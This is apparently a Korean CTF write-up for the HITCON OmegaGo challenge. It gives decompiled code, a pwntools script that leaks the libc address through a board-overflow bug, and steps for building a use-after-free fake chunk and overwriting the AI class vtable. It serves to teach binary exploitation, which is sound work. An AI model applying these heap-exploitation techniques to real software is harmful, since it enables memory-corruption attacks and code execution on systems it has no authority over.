...
Code Block | ||
---|---|---|
| ||
unsigned __int64 DeletePlayHistory() { __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( gHistory[historyCnt - 1] ) { v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]); operator delete(gHistory[historyCnt - 1]); sub_402FE6(&unk_607220, &v1); --historyCnt; } return __readfsqword(0x28u) ^ v2; } |
Debuging
Overflow
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..XXO\x00.OOX\x00X....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.84 $ |
Decode
- 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result |
...
Structure of Exploit code
- Payload의 순서는 다음과 같습니다.
Panel | ||
---|---|---|
| ||
|
...
Panel | ||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
|
...
Information for attack
Leak Libc address
- 다음과 같이 "regret"기능을 이용해 Heap 영역에 "main_arena.top" 영역의 주소를 저장 할 수 있습니다.
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
- AI GameInfo : 0x61d220
- HUMAN GameInfo : 0x61d160
- AI,HUMAN GameInfo 사이에 크기가 0x20인 Heap 영역이 할당되어 있습니다.
- Heap address : 0x61d1f0
- 사용자가 위치 값을 입력하면 GameInfo(0x80)를 생성해서 gHistory[]에 저장합니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) #print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)' return result def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) p.interactive() |
Create a UAF vulnerability(Fake chunk)
- 앞에서 설명한 취약성을 이용해 UAF 취약성을 만들 수 있습니다.
- 공격 대상은 AI Class의 vtable 입니다.
- OmegaGo() 함수에서 AI Class의 vtable 공간으로 8 byte를 요청하고 있습니다.
- 해당 Chunk의 크기는 0x20이 됩니다.
- Chunk header(0x10) + Base heap area(0x10)
- 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
...
Code Block |
---|
#0xXXXX010 -> 0xxxxx290 Play('D19') Play('E19') surrender() |
Overwrite the vtable
- 다음과 같이 AI vtable을 덮어쓸 수 있습니다.
- AI vtable영역에서 호출 할 함수의 주소가 저장된 영역의 주소가 저장된 곳은 GameInfo.board[9] 으로 덮어쓰여 집니다.
- 해당 영역에 저장 할 주소는 gCmd 전역 변수 + 4(0x60943C + 0x4 = 0x609440) 입니다.
- 해당 정보를 이용해 다음과 같은 위치 값을 생성할 수 있습니다.
- 위치 값 : D14, E14, G14, R15, A5, Q6
- GameInfo.board[9] 영역에 0x609440이 저장되었습니다.
...